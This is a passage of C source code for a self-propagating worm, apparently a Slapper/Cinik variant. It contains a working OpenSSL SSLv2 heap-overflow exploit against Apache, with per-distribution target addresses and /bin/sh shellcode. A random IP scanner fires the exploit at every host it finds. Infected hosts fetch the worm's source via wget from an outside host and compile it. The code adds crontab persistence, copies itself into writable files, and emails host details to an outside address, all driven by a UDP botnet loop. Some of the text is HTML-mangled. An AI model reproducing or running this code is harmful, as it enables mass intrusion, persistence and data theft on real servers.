        char buf[1024];
        struct timeval tv;
        sock = socket(PF_INET, SOCK_STREAM, 0);
        sin.sin_family = PF_INET;
        sin.sin_addr.s_addr = inet_addr(ip);
        sin.sin_port = htons(80);
        if(connect(sock, (struct sockaddr *) &amp; sin, sizeof(sin)) != 0) return NULL;
        write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n");
        tv.tv_sec = 15;
        tv.tv_usec = 0;
        FD_ZERO(&amp;fds);
        FD_SET(sock, &amp;fds);
        memset(buf, 0, sizeof(buf));
        if(select(sock + 1, &amp;fds, NULL, NULL, &amp;tv) >; 0) {
                if(FD_ISSET(sock, &amp;fds)) {
                        if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL;
                        for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: ")) {
                                char *start=buf+d+strlen("Server: ";
                                for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0;
                                cleanup(start);
                                return strdup(start);
                        }
                }
        }
        return NULL;
}

#define        ENC(c) ((c) ? ((c) &amp; 077) + ' ': '`')

int sendch(int sock,int buf) {
        char a[2];
        int b=1;
        if (buf == '`' || buf == '\\' || buf == '$') {
                a[0]='\\';
                a[1]=0;
                b=write(sock,a,1);
        }
        if (b <= 0) return b;
        a[0]=buf;
        a[1]=0;
        return write(sock,a,1);
}

int writem(int sock, char *str) {
        return write(sock,str,strlen(str));
}

int encode(int a) {
        register int ch, n;
        register char *p;
        char buf[80];
        FILE *in;
        if ((in=fopen("/tmp/.cinik.c","r") == NULL)
         {
          // incercam o recuperare
          chdir("/tmp";
          system("/usr/bin/wget http://zamfy.home.ro/0/cinik.c";
          system("mv /tmp/cinik.c /tmp/.cinik.c";
          if ((in=fopen("/tmp/.cinik.c","r")) == NULL)  return 0;
         }
       
        writem(a,"begin 655 .cinik.c\n");
        while ((n = fread(buf, 1, 45, in))) {
                ch = ENC(n);
                if (sendch(a,ch) <= ASUCCESS) break;
                for (p = buf; n >; 0; n -= 3, p += 3) {
                        if (n < 3) {
                                p[2] = '\0';
                                if (n < 2) p[1] = '\0';
                        }
                        ch = *p >;>; 2;
                        ch = ENC(ch);
                        if (sendch(a,ch) <= ASUCCESS) break;
                        ch = ((*p << 4) &amp; 060) | ((p[1] >;>; 4) &amp; 017);
                        ch = ENC(ch);
                        if (sendch(a,ch) <= ASUCCESS) break;
                        ch = ((p[1] << 2) &amp; 074) | ((p[2] >;>; 6) &amp; 03);
                        ch = ENC(ch);
                        if (sendch(a,ch) <= ASUCCESS) break;
                        ch = p[2] &amp; 077;
                        ch = ENC(ch);
                        if (sendch(a,ch) <= ASUCCESS) break;
                }
                ch='\n';
                if (sendch(a,ch) <= ASUCCESS) break;
                usleep(10);
        }
        if (ferror(in)) {
                fclose(in);
                return 0;
        }
        ch = ENC('\0');
        sendch(a,ch);
        ch = '\n';
        sendch(a,ch);
        writem(a,"end\n");
        if (in) fclose(in);
        return 1;
}

#define MAX_ARCH 21

struct archs {
        char *os;
        char *apache;
        int func_addr;
} architectures[] = {
        {"Gentoo", "", 0x08086c34},
        {"Debian", "1.3.26", 0x080863cc},
        {"Red-Hat", "1.3.6", 0x080707ec},
        {"Red-Hat", "1.3.9", 0x0808ccc4},
        {"Red-Hat", "1.3.12", 0x0808f614},
        {"Red-Hat", "1.3.12", 0x0809251c},
        {"Red-Hat", "1.3.19", 0x0809af8c},
        {"Red-Hat", "1.3.20", 0x080994d4},
        {"Red-Hat", "1.3.26", 0x08161c14},
        {"Red-Hat", "1.3.23", 0x0808528c},
        {"Red-Hat", "1.3.22", 0x0808400c},
        {"SuSE", "1.3.12", 0x0809f54c},
        {"SuSE", "1.3.17", 0x08099984},
        {"SuSE", "1.3.19", 0x08099ec8},
        {"SuSE", "1.3.20", 0x08099da8},
        {"SuSE", "1.3.23", 0x08086168},
        {"SuSE", "1.3.23", 0x080861c8},
        {"Mandrake", "1.3.14", 0x0809d6c4},
        {"Mandrake", "1.3.19", 0x0809ea98},
        {"Mandrake", "1.3.20", 0x0809e97c},
        {"Mandrake", "1.3.23", 0x08086580},
        {"Slackware", "1.3.26", 0x083d37fc},
        {"Slackware", "1.3.26",0x080b2100}
};

extern int errno;

int cipher;
int ciphers;

#define FINDSCKPORTOFS           208 + 12 + 46

unsigned char overwrite_session_id_length[] =
        "AAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "\x70\x00\x00\x00";

unsigned char overwrite_next_chunk[] =
        "AAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAA"
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        "AAAA"
        "\x00\x00\x00\x00"
        "\x00\x00\x00\x00"
        "AAAA"
        "\x01\x00\x00\x00"
        "AAAA"
        "AAAA"
        "AAAA"
        "\x00\x00\x00\x00"
        "AAAA"
        "\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00"
        "AAAAAAAA"

        "\x00\x00\x00\x00"
        "\x11\x00\x00\x00"
        "fdfd"
        "bkbk"
        "\x10\x00\x00\x00"
        "\x10\x00\x00\x00"

        "\xeb\x0a\x90\x90"
        "\x90\x90\x90\x90"
        "\x90\x90\x90\x90"

        "\x31\xdb"
        "\x89\xe7"
        "\x8d\x77\x10"
        "\x89\x77\x04"
        "\x8d\x4f\x20"
        "\x89\x4f\x08"
        "\xb3\x10"
        "\x89\x19"
        "\x31\xc9"
        "\xb1\xff"
        "\x89\x0f"
        "\x51"
        "\x31\xc0"
        "\xb0\x66"
        "\xb3\x07"
        "\x89\xf9"
        "\xcd\x80"
        "\x59"
        "\x31\xdb"
        "\x39\xd8"
        "\x75\x0a"
        "\x66\xb8\x12\x34"
        "\x66\x39\x46\x02"
        "\x74\x02"
        "\xe2\xe0"
        "\x89\xcb"
        "\x31\xc9"
        "\xb1\x03"
        "\x31\xc0"
        "\xb0\x3f"
        "\x49"
        "\xcd\x80"
        "\x41"
        "\xe2\xf6"

        "\x31\xc9"
        "\xf7\xe1"
        "\x51"
        "\x5b"
        "\xb0\xa4"
        "\xcd\x80"

        "\x31\xc0"
        "\x50"
        "\x68""//sh"
        "\x68""/bin"
        "\x89\xe3"
        "\x50"
        "\x53"
        "\x89\xe1"
        "\x99"
        "\xb0\x0b"
        "\xcd\x80";

#define BUFSIZE 16384
#define CHALLENGE_LENGTH 16
#define RC4_KEY_LENGTH 16
#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
#define n2s(c,s)        ((s=(((unsigned int)(c[0]))<< | (((unsigned int)(c[1]))         )),c+=2)
#define s2n(s,c)        ((c[0]=(unsigned char)(((s)>;>; &amp;0xff), c[1]=(unsigned char)(((s)         )&amp;0xff)),c+=2)

typedef struct {
        int sock;
        unsigned char challenge[CHALLENGE_LENGTH];
        unsigned char master_key[RC4_KEY_LENGTH];
        unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
        int conn_id_length;
        unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
        X509 *x509;
        unsigned char* read_key;
        unsigned char* write_key;
        RC4_KEY* rc4_read_key;
        RC4_KEY* rc4_write_key;
        int read_seq;
        int write_seq;
        int encrypted;
} ssl_conn;

long getip(char *hostname) {
        struct hostent *he;
        long ipaddr;
        if ((ipaddr = inet_addr(hostname)) < 0) {
                if ((he = gethostbyname(hostname)) == NULL) exit(-1);
                memcpy(&amp;ipaddr, he->;h_addr, he->;h_length);
        }       
        return ipaddr;
}

int sh(int sockfd) {
        char localip[256], rcv[1024];
        fd_set rset;
        int maxfd, n;

        alarm(3600);
        writem(sockfd,"TERM=xterm; export TERM=xterm; exec bash -i\n");
        writem(sockfd,"rm -rf /tmp/.cinik.c;cat >; /tmp/.cinik.uu<< __eof__;\n");
        encode(sockfd);
        writem(sockfd,"__eof__\n");
        conv(localip,256,myip);
        memset(rcv,0,1024);
        sprintf(rcv,"/usr/bin/uudecode -o /tmp/.cinik.c /tmp/.cinik.uu;gcc -o /tmp/.cinik /tmp/.cinik.c -lcrypto;/tmp/.cinik %s\n",localip);
        writem(sockfd,rcv);
       
        // acum cream scriptuletzul meu
       
        writem(sockfd,"echo -e '#!/bin/bash\n\n##\n##  CiNIK starts here \n##\n\nexport PATH=/binPATH\n\n# ce id am ?\n' >; /tmp/.cinik.go");
        writem(sockfd,"echo -e 'myid=`/usr/bin/id | /bin/cut -d\( -f1 | /bin/cutcut -d\= -f2`\n\n# punem si intr-un loc default\nmkdir -p /tmp/.font-unix/.cinik\ncat /tmp/.cinik >; $i' >;>; /tmp/.cinik.go\n");
        sprintf(rcv,"echo -e 'chmod a+x $i\necho 1 `/bin/date +%H` \\* \\* \\* $i %s \\>; /dev/null 2\\>;\\&amp;1 | crontab'>;>; /tmp/.cinik.go\n",localip);
        writem(sockfd,rcv);
        writem(sockfd,"echo '# ale altora'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'for i in `/usr/bin/find /usr /var /tmp /home /mnt -type f -perm 7 2>;/dev/null`'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'do'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo ' cat /tmp/.cinik >; $i'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo ' chmod a+x $i'>;>; /tmp/.cinik.go\n");
        sprintf(rcv,"echo ' echo 2 `/bin/date +%H` \\* \\* \\* $i %1 \\>; /dev/null 2\\>;\\&amp;1 | crontab'>;>; /tmp/.cinik.go\n",localip);
        writem(sockfd,rcv);
        writem(sockfd,"echo 'done'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo ' '>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo '# directoarele mele'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo ' '>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'for i in `/usr/bin/find /usr /var /tmp /home /mnt -type d -uid $myid`'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'do'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo ' cat /tmp/.cinik >; $i/.cinik'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo ' chmod a+x $i/.cinik'>;>; /tmp/.cinik.go\n");
        sprintf(rcv,"echo ' echo 3 `/bin/date +%H` \\* \\* \\* $i/.cinik %1 \\>; /dev/null 2\\>;\\&amp;1 | crontab'>;>; /tmp/.cinik.go\n",localip);
        writem(sockfd,rcv);
        writem(sockfd,"echo 'done'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo ' '>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'echo PROC >; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'cat /proc/cpuinfo >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'echo MEM >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'cat /usr/bin/free >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'echo HDD >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'cat /bin/df -h >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'echo IP >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'cat /sbin/ifconfig >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo ' '>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'myip=`/sbin/ifconfig eth0 | head -2 | tail -1 | cut -d: -f2 | cut -d\" \" -f1`'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'mail cinik_worm@yahoo.com -s \"$myip\" < /tmp/cinik.status'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"echo 'rm -f /tmp/cinik.status'>;>; /tmp/.cinik.go\n");
        writem(sockfd,"chmod a+x /tmp/.cinik.go;/tmp/.cinik.go;exit");

        for (;;) {
                FD_ZERO(&amp;rset);
                FD_SET(sockfd, &amp;rset);
                select(sockfd+1, &amp;rset, NULL, NULL, NULL);
                if (FD_ISSET(sockfd, &amp;rset)) if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) return 0;
        }
}

int get_local_port(int sock) {
        struct sockaddr_in s_in;
        unsigned int namelen = sizeof(s_in);
        if (getsockname(sock, (struct sockaddr *)&amp;s_in, &amp;namelen) < 0) exit(1);
        return s_in.sin_port;
}

int connect_host(char* host, int port) {
        struct sockaddr_in s_in;
        int sock;
        s_in.sin_family = AF_INET;
        s_in.sin_addr.s_addr = getip(host);
        s_in.sin_port = htons(port);
        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) exit(1);
        alarm(10);
        if (connect(sock, (struct sockaddr *)&amp;s_in, sizeof(s_in)) < 0) exit(1);
        alarm(0);
        return sock;
}

ssl_conn* ssl_connect_host(char* host, int port) {
        ssl_conn* ssl;
        if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) exit(1);
        ssl->;encrypted = 0;
        ssl->;write_seq = 0;
        ssl->;read_seq = 0;
        ssl->;sock = connect_host(host, port);
        return ssl;
}

char res_buf[30];

int read_data(int sock, unsigned char* buf, int len) {
        int l;
        int to_read = len;
        do {
                if ((l = read(sock, buf, to_read)) < 0) exit(1);
                to_read -= len;
        } while (to_read >; 0);
        return len;
}

int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) {
        int rec_len, padding;
        read_data(ssl->;sock, buf, 2);
        if ((buf[0] &amp; 0x80) == 0) {
                rec_len = ((buf[0] &amp; 0x3f) << | buf[1];
                read_data(ssl->;sock, &amp;buf[2], 1);
                padding = (int)buf[2];
        }
        else {
                rec_len = ((buf[0] &amp; 0x7f) << | buf[1];
                padding = 0;
        }
        if ((rec_len <= 0) || (rec_len >; buf_size)) exit(1);
        read_data(ssl->;sock, buf, rec_len);
        if (ssl->;encrypted) {
                if (MD5_DIGEST_LENGTH + padding >;= rec_len) {
                        if ((buf[0] == SSL2_MT_ERROR) &amp;&amp; (rec_len == 3)) return 0;
                        else exit(1);
                }
                RC4(ssl->;rc4_read_key, rec_len, buf, buf);
                rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
                memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
        }
        if (buf[0] == SSL2_MT_ERROR) {
                if (rec_len != 3) exit(1);
                else return 0;
        }
        return rec_len;
}

void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) {
        unsigned char buf[BUFSIZE];
        unsigned char* p;
        int tot_len;
        MD5_CTX ctx;
        int seq;
        if (ssl->;encrypted) tot_len = rec_len + MD5_DIGEST_LENGTH;
        else tot_len = rec_len;

        if (2 + tot_len >; BUFSIZE) exit(1);

        p = buf;
        s2n(tot_len, p);

        buf[0] = buf[0] | 0x80;

        if (ssl->;encrypted) {
                seq = ntohl(ssl->;write_seq);

                MD5_Init(&amp;ctx);
                MD5_Update(&amp;ctx, ssl->;write_key, RC4_KEY_LENGTH);
                MD5_Update(&amp;ctx, rec, rec_len);
                MD5_Update(&amp;ctx, &amp;seq, 4);
                MD5_Final(p, &amp;ctx);

                p+=MD5_DIGEST_LENGTH;

                memcpy(p, rec, rec_len);

                RC4(ssl->;rc4_write_key, tot_len, &amp;buf[2], &amp;buf[2]);
        }
        else memcpy(p, rec, rec_len);

        send(ssl->;sock, buf, 2 + tot_len, 0);

        ssl->;write_seq++;
}

void send_client_hello(ssl_conn *ssl) {
        int i;
        unsigned char buf[BUFSIZE] =
                "\x01"
                "\x00\x02"
                "\x00\x18"
                "\x00\x00"
                "\x00\x10"
                "\x07\x00\xc0\x05\x00\x80\x03\x00"
                "\x80\x01\x00\x80\x08\x00\x80\x06"
                "\x00\x40\x04\x00\x80\x02\x00\x80"
                "";
        for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->;challenge = (unsigned char) (rand() >;>; 24);
        memcpy(&amp;buf[33], ssl->;challenge, CHALLENGE_LENGTH);
        send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
}

void get_server_hello(ssl_conn* ssl) {
        unsigned char buf[BUFSIZE];
        unsigned char *p, *end;
        int len;
        int server_version, cert_length, cs_length, conn_id_length;
        int found;

        if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
        if (len < 11) exit(1);

        p = buf;

        if (*(p++) != SSL2_MT_SERVER_HELLO) exit(1);
        if (*(p++) != 0) exit(1);
        if (*(p++) != 1) exit(1);
        n2s(p, server_version);
        if (server_version != 2) exit(1);

        n2s(p, cert_length);
        n2s(p, cs_length);
        n2s(p, conn_id_length);

        if (len != 11 + cert_length + cs_length + conn_id_length) exit(1);
        ssl->;x509 = NULL;
        ssl->;x509=d2i_X509(NULL,&amp;p,(long)cert_length);
        if (ssl->;x509 == NULL) exit(1);
        if (cs_length % 3 != 0) exit(1);

        found = 0;
        for (end=p+cs_length; p < end; p += 3) if ((p[0] == 0x01) &amp;&amp; (p[1] == 0x00) &amp;&amp; (p[2] == 0x80)) found = 1;

        if (!found) exit(1);

        if (conn_id_length >; SSL2_MAX_CONNECTION_ID_LENGTH) exit(1);

        ssl->;conn_id_length = conn_id_length;
        memcpy(ssl->;conn_id, p, conn_id_length);
}

void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
        int encrypted_key_length, key_arg_length, record_length;
        unsigned char* p;
        int i;
        EVP_PKEY *pkey=NULL;
        unsigned char buf[BUFSIZE] =
                "\x02"
                "\x01\x00\x80"
                "\x00\x00"
                "\x00\x40"
                "\x00\x08";
        p = &amp;buf[10];
        for (i = 0; i < RC4_KEY_LENGTH; i++) ssl->;master_key = (unsigned char) (rand() >;>; 24);
        pkey=X509_get_pubkey(ssl->;x509);
        if (!pkey) exit(1);
        if (pkey->;type != EVP_PKEY_RSA) exit(1);
        encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->;master_key, &amp;buf[10], pkey->;pkey.rsa, RSA_PKCS1_PADDING);
        if (encrypted_key_length <= 0) exit(1);
        p += encrypted_key_length;
        if (key_arg_overwrite) {
                for (i = 0; i < 8; i++) *(p++) = (unsigned char) (rand() >;>; 24);
                memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
                key_arg_length = 8 + key_arg_overwrite_len;
        }
        else key_arg_length = 0;
        p = &amp;buf[6];
        s2n(encrypted_key_length, p);
        s2n(key_arg_length, p);
        record_length = 10 + encrypted_key_length + key_arg_length;
        send_ssl_packet(ssl, buf, record_length);
        ssl->;encrypted = 1;
}

void generate_key_material(ssl_conn* ssl) {
        unsigned int i;
        MD5_CTX ctx;
        unsigned char *km;
        unsigned char c='0';
        km=ssl->;key_material;
        for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
                MD5_Init(&amp;ctx);
                MD5_Update(&amp;ctx,ssl->;master_key,RC4_KEY_LENGTH);
                MD5_Update(&amp;ctx,&amp;c,1);
                c++;
                MD5_Update(&amp;ctx,ssl->;challenge,CHALLENGE_LENGTH);
                MD5_Update(&amp;ctx,ssl->;conn_id, ssl->;conn_id_length);
                MD5_Final(km,&amp;ctx);
                km+=MD5_DIGEST_LENGTH;
        }
}

void generate_session_keys(ssl_conn* ssl) {
        generate_key_material(ssl);
        ssl->;read_key = &amp;(ssl->;key_material[0]);
        ssl->;rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
        RC4_set_key(ssl->;rc4_read_key, RC4_KEY_LENGTH, ssl->;read_key);
        ssl->;write_key = &amp;(ssl->;key_material[RC4_KEY_LENGTH]);
        ssl->;rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
        RC4_set_key(ssl->;rc4_write_key, RC4_KEY_LENGTH, ssl->;write_key);
}

void get_server_verify(ssl_conn* ssl) {
        unsigned char buf[BUFSIZE];
        int len;
        if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
        if (len != 1 + CHALLENGE_LENGTH) exit(1);
        if (buf[0] != SSL2_MT_SERVER_VERIFY) exit(1);
        if (memcmp(ssl->;challenge, &amp;buf[1], CHALLENGE_LENGTH)) exit(1);
}

void send_client_finished(ssl_conn* ssl) {
        unsigned char buf[BUFSIZE];
        buf[0] = SSL2_MT_CLIENT_FINISHED;
        memcpy(&amp;buf[1], ssl->;conn_id, ssl->;conn_id_length);
        send_ssl_packet(ssl, buf, 1+ssl->;conn_id_length);
}

void get_server_finished(ssl_conn* ssl) {
        unsigned char buf[BUFSIZE];
        int len;
        int i;
        if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
        if (buf[0] != SSL2_MT_SERVER_FINISHED) exit(1);
        if (len <= 112) exit(1);
        cipher = *(int*)&amp;buf[101];
        ciphers = *(int*)&amp;buf[109];
}

void get_server_error(ssl_conn* ssl) {
        unsigned char buf[BUFSIZE];
        int len;
        if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) >; 0) exit(1);
}

void exploit(char *ip) {
        int port = 443;
        int i;
        int arch=-1;
        int N = 20;
        ssl_conn* ssl1;
        ssl_conn* ssl2;
        char *a;

        alarm(3600);
        if ((a=GetAddress(ip)) == NULL) exit(0);
        if (strncmp(a,"Apache",6)) exit(0);
        for (i=0;i<MAX_ARCH;i++) {
                if (strstr(a,architectures.apache) &amp;&amp; strstr(a,architectures.os)) {
                        arch=i;
                        break;
                }
        }
        if (arch == -1) arch=9;

        srand(0x31337);

        for (i=0; i<N; i++) {
                connect_host(ip, port);
                usleep(100000);
        }

        ssl1 = ssl_connect_host(ip, port);
        ssl2 = ssl_connect_host(ip, port);

        send_client_hello(ssl1);
        get_server_hello(ssl1);
        send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
        generate_session_keys(ssl1);
        get_server_verify(ssl1);
        send_client_finished(ssl1);
        get_server_finished(ssl1);

        port = get_local_port(ssl2->;sock);
        overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port &amp; 0xff);
        overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >;>; &amp; 0xff);

        *(int*)&amp;overwrite_next_chunk[156] = cipher;
        *(int*)&amp;overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
        *(int*)&amp;overwrite_next_chunk[196] = ciphers + 16;

        send_client_hello(ssl2);
        get_server_hello(ssl2);

        send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
        generate_session_keys(ssl2);
        get_server_verify(ssl2);

        for (i = 0; i < ssl2->;conn_id_length; i++) ssl2->;conn_id = (unsigned char) (rand() >;>; 24);

        send_client_finished(ssl2);
        get_server_error(ssl2);

        sh(ssl2->;sock);

        close(ssl2->;sock);
        close(ssl1->;sock);

        exit(0);
}
#endif

//////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////

int main(int argc, char **argv) {
#ifdef SCAN
        unsigned char a=0,b=0,c=0,d=0;
#endif
        unsigned long bases,*cpbases;
        struct initsrv_rec initrec;
        int null=open("/dev/null",O_RDWR);
        uptime=time(NULL);
        if (argc <= 1) {
                printf("%s: Exec format error. Binary file not executable.\n",argv[0]);
                return 0;
        }
        srand(time(NULL)^getpid());
        memset((char*)&amp;routes,0,sizeof(struct route_table)*24);
        memset(clients,0,sizeof(struct ainst)*CLIENTS*2);
        if (audp_listen(&amp;udpserver,PORT) != 0) {
                printf("Error: %s\n",aerror(&amp;udpserver));
                return 0;
        }
        memset((void*)&amp;initrec,0,sizeof(struct initsrv_rec));
        initrec.h.tag=0x70;
        initrec.h.len=0;
        initrec.h.id=0;
        cpbases=(unsigned long*)malloc(sizeof(unsigned long)*argc);
        if (cpbases == NULL) {
                printf("Insufficient memory\n");
                return 0;
        }
        for (bases=1;bases<argc;bases++) {
                cpbases[bases-1]=aresolve(argv[bases]);
                relay(cpbases[bases-1],(char*)&amp;initrec,sizeof(struct initsrv_rec));
        }
        numlinks=0;
        dup2(null,0);
        dup2(null,1);
        dup2(null,2);
        if (fork()) return 1;
#ifdef SCAN
        a=classes[rand()%(sizeof classes)];
        b=rand();
        c=0;
        d=0;
#endif
        signal(SIGCHLD,nas);
        signal(SIGHUP,nas);
        while (1) {
                static unsigned long timeout=0,timeout2=0,timeout3=0;
                char buf_[3000],*buf=buf_;
                int n=0,p=0;
                long l=0,i=0;
                unsigned long start=time(NULL);
                fd_set read;
                struct timeval tm;

                FD_ZERO(&amp;read);
                if (udpserver.sock >; 0) FD_SET(udpserver.sock,&amp;read);
                udpserver.len=0;
                l=udpserver.sock;
                for (n=0;n<(CLIENTS*2);n++) if (clients[n].sock >; 0) {
                        FD_SET(clients[n].sock,&amp;read);
                        clients[n].len=0;
                        if (clients[n].sock >; l) l=clients[n].sock;
                }
                memset((void*)&amp;tm,0,sizeof(struct timeval));
                tm.tv_sec=2;
                tm.tv_usec=0;
                l=select(l+1,&amp;read,NULL,NULL,&amp;tm);

                if (l == -1) {
                        if (errno == EINTR) {
                                for (i=0;i<numpids;i++) if (waitpid(pids,NULL,WNOHANG) >; 0) {
                                        unsigned int *newpids,on;
                                        for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
                                        pids[on-1]=0;
                                        numpids--;
                                        newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
                                        if (newpids != NULL) {
                                                for (on=0;on<numpids;on++) newpids[on]=pids[on];
                                                FREE(pids);
                                                pids=newpids;
                                        }
                                }
                        }
                        continue;
                }
                timeout+=time(NULL)-start;
                if (timeout >;= 60) {
                        if (links == NULL || numlinks == 0) {
                                memset((void*)&amp;initrec,0,sizeof(struct initsrv_rec));
                                initrec.h.tag=0x70;
                                initrec.h.len=0;
                                initrec.h.id=0;
                                for (i=0;i<bases;i++) relay(cpbases,(char*)&amp;initrec,sizeof(struct initsrv_rec));
                        }
                        else if (!myip) {
                                memset((void*)&amp;initrec,0,sizeof(struct initsrv_rec));
                                initrec.h.tag=0x74;
                                initrec.h.len=0;
                                initrec.h.id=0;
                                segment(2,(char*)&amp;initrec,sizeof(struct initsrv_rec));
                        }
                        timeout=0;
                }
                timeout2+=time(NULL)-start;
                if (timeout2 >;= 3) {
                        struct mqueue *getqueue=queues;
                        while(getqueue != NULL) {
                                if (time(NULL)-getqueue->;time >; gettimeout()) {
                                        struct mqueue *l=getqueue->;next;
                                        delqueue(getqueue->;id);
                                        delqueue(getqueue->;id);
                                        getqueue=l;
                                        continue;
                                }
                                else if ((time(NULL)-getqueue->;ltime) >;= (getqueue->;destination?6:3)) {
                                        struct ainst ts;
                                        char srv[256];
                                        unsigned char i;
                                        memset((void*)&amp;ts,0,sizeof(struct ainst));
                                        getqueue->;ltime=time(NULL);
                                        if (getqueue->;destination) {
                                                conv(srv,256,getqueue->;destination);
                                                audp_relay(&amp;udpserver,&amp;ts,srv,getqueue->;port);
                                                audp_send(&amp;ts,getqueue->;packet,getqueue->;len);
                                        }
                                        else for (i=0;i<getqueue->;trys;i++) segment(0,getqueue->;packet,getqueue->;len);
                                }
                                getqueue=getqueue->;next;
                        }
                        timeout2=0;
                }
                timeout3+=time(NULL)-start;
                if (timeout3 >;= 60*10) {
                        char buf[2]={0,0};
                        syncmode(1);
                        broadcast(buf,1);
                        timeout3=0;
                }

                if (udpserver.sock >; 0 &amp;&amp; FD_ISSET(udpserver.sock,&amp;read)) udpserver.len=AREAD;

                for (n=0;n<(CLIENTS*2);n++) if (clients[n].sock >; 0) if (FD_ISSET(clients[n].sock,&amp;read)) clients[n].len=AREAD;

#ifdef SCAN
                if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) &amp;&amp; p<100;n++) if (clients[n].sock == 0) {
                        char srv[256];
                        if (d == 255) {
                                if (c == 255) {
                                        a=classes[rand()%(sizeof classes)];
                                        b=rand();
                                        c=0;
                                }
                                else c++;
                                d=0;
                        }
                        else d++;
                        memset(srv,0,256);
                        sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
                        clients[n].ext=time(NULL);
                        atcp_sync_connect(&amp;clients[n],srv,SCANPORT);
                        p++;
                }
                for (n=CLIENTS;n<(CLIENTS*2);n++) if (clients[n].sock != 0) {
                        p=atcp_sync_check(&amp;clients[n]);
                        if (p == ASUCCESS || p == ACONNECT || time(NULL)-((unsigned long)clients[n].ext) >;= 5) atcp_close(&amp;clients[n]);
                        if (p == ASUCCESS) {
                                char srv[256];
                                conv(srv,256,clients[n].in.sin_addr.s_addr);
                                if (mfork() == 0) {
                                        exploit(srv);
                                        exit(0);
                                }
                        }
                }
#endif
                for (n=0;n<CLIENTS;n++) if (clients[n].sock != 0) {
                        if (clients[n].ext2 == TCP_PENDING) {
                                struct add_rec rc;
                                memset((void*)&amp;rc,0,sizeof(struct add_rec));
                                p=atcp_sync_check(&amp;clients[n]);
                                if (p == ACONNECT) {
                                        rc.h.tag=0x42;
                                        rc.h.seq=newseq();
                                        rc.h.id=clients[n].ext3;
                                        relayclient(clients[n].ext,(void*)&amp;rc,sizeof(struct add_rec));
                                        FREE(clients[n].ext);
                                        FREE(clients[n].ext5);
                                        atcp_close(&amp;clients[n]);
                                }
                                if (p == ASUCCESS) {
                                        rc.h.tag=0x43;
                                        rc.h.seq=newseq();
                                        rc.h.id=clients[n].ext3;
                                        relayclient(clients[n].ext,(void*)&amp;rc,sizeof(struct add_rec));
                                        clients[n].ext2=TCP_CONNECTED;
